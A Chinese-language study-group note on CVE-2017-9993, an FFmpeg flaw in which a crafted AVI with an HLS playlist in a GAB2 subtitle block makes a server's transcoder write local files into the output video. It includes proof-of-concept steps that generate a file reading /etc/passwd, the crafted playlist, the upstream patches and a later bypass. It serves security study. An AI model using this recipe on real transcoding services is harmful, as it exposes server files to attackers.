--- robots: index, follow tags: CSC, 資安, 讀書會 description: Information Security lang: zh-tw dir: ltr breaks: true disqus: hackmd GA: UA-100433652-1 --- CVE-2017-9993 ===== ## problem - AVI - HLS m3u8 playlist - FFmpeg ## Concept FFmpeg可以處理可能包含對外部文件的引用的HLS播放列表,可以使用AVI文件中的GAB2字幕塊來觸發此功能,再通過XBIN編解碼器檢索轉換節點的本地文件,從而導致了可以在轉碼後的視頻里包含了本地文件。 原文網址:https://read01.com/aAaQMBm.html ### AVI - [AVI](https://zh.wikipedia.org/wiki/AVI%E6%A0%BC%E5%BC%8F) 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。但是由於索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。 - 利用 avi 文件中的 GAB2 字幕块,可以通过 XBIN codec 获取到视频转换网站的本地文件。 ### FFmpeg - [FFmpeg](https://zh.wikipedia.org/wiki/FFmpeg) 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、**轉檔**、串流功能 - FFmpeg 可处理 [HLS](https://en.wikipedia.org/wiki/HTTP_Live_Streaming) 播放列表,而播放列表中已知可包含外部文件的援引。 - [HLS(HTTP Live Streaming)](http://huli.logdown.com/posts/1142411-livestreamming-hls-note): 把整個流分成一個個小的基於HTTP的文件(ts)來下載。在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流 - 如果是多级的 [m3u8索引](http://blog.csdn.net/cabbage2008/article/details/50522190) 的话,那就会从根索引文件开始,一层一层的往下去请求子的索引文件,获取最终的TS流文件的http请求地址与时间段。 ## PoC 1. `wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py` 2. 生成 avi: `python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi` 3. 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站 4. ffmpeg 會自動作出處理:`ffmpeg -i sxcurity.avi output.mp4` 來生成 output.mp4 檔案 5. 而在處理成 output.mp4 的時候,就會把一開始寫的 `/etc/passwd` 以影片的方式,呈現出來 Demo: http://calee.com.tw ## Concept flow 1. 制作一个AVI格式的容器文件,其中包含GAP2格式的字幕和HLS播放列表 2. 列表中的外部文件特意写成/etc/passwd等希望读取内容的敏感文件 3. ffmpeg转码这样的AVI文件时,就会将其中的GAP2内容与/etc/passwd文件中的内容拼接为最终的字幕文本 4. 文本以xbin编码,最终会被ffmpeg转为视频帧 ## Bug detail - sxcurity.avi ![](https://i.imgur.com/syuQPys.png) - read_gab2sub() ![](https://i.imgur.com/NAueVgt.png =250x) - 如何判斷 XBIN: 在判断一个播放列表的格式时候,ffmpeg会读取播放列表的第一个segment,然后根据这个 segment 的url去请求文件内容,然后根据读取到的文件内容来判断格式 (以#EXT开头的都是m3u8文件中的标签,其他以#开头的是注释,不以#开头的是一个url) ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 ### echoing b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x4c4d465e0b95223279487316ffd9ec3a #EXTINF:1, #EXT-X-BYTERANGE: 16 /dev/zero #EXT-X-KEY: METHOD=NONE ### echoing b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xbf\n' #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x140f0f1011b5223d79597717ffd95330 #EXTINF:1, #EXT-X-BYTERANGE: 16 /dev/zero #EXT-X-KEY: METHOD=NONE #### External reference: reading 64 bytes from file:///etc/passwd (offset 0) #EXTINF:1, #EXT-X-BYTERANGE: 64@0 file:///etc/passwd ``` - #EXTM3U: 這個是m3u8 - #EXT-X-MEDIA-SEQUENCE:每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1, 一个media URI并不是必须要包含的,如果没有,默认为0 - #EXTINF: duration 指定每个媒体段(ts)的持续时间(秒),仅对其后面的URI有效。 - #EXT-X-TARGETDURATION: 指定最大的媒体段时间长(秒) - #EXT-X-KEY: 表示怎么对 media segments 进行解码。 - EXT-X-KEY 會解密出 `b'XBIN\x1a \x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'` - 然後用 ffmpeg 做轉檔 ![](https://i.imgur.com/QlXhOtG.png) 會發現他讀的影片格式已經是 xbin - 之後 ffmpeg 做轉檔時,因為 HLS 寫好的,會一幀一幀的把 /etc/passwd 帶出來 - 生成新的 mp4 檔案 - 转码的目的就是把你上传视频的服务器文件写死在转码后的文件,就是你无论转成.mp4,flv都可以播放的 ## patch 所做的修复就是在解析AVI时把GAB2字幕限制为常见的srt和ass格式,对于其它的内容直接报错 - [avformat/avidec: Limit formats in gab2 to srt and ass/ssa](https://github.com/FFmpeg/FFmpeg/commit/a5d849b149ca67ced2d271dc84db0bc95a548abb) - [avformat/hls: Check local file extensions](https://github.com/FFmpeg/FFmpeg/commit/189ff4219644532bdfa7bab28dfedaee4d6d4021) ## new attack https://hackerone.com/reports/243470 - ffmpeg 再處理 HLS 時,會先把 playlist 上要處理的每一格先合起來 - 利用 playlist 上的第一個檔案格式做完合起來的檔案格式 - ffmpeg 會對 .txt 做特殊處理,它会尝试将文件的内容以终端的方式打印在屏幕上 ### So 新的生成檔會長這樣: ![](https://i.imgur.com/hEaWW40.png) 1. ffmpeg在 GAB2字幕块里面看到了#EXTM3U标签,认定文件类型是 HLS playlist 2. .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string) 3. 在合成大檔案後,就可以看到 /etc/passwd 了 ## Reference [演講](https://www.facebook.com/calee0219/posts/1486610381431088?pnref=story) [ppt](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) - http://www.cnblogs.com/alisecurity/p/7273529.html - https://zhuanlan.zhihu.com/p/28255225 - http://blog.shengbin.me/posts/a-vulnerability-of-ffmpeg - http://paper.seebug.org/338/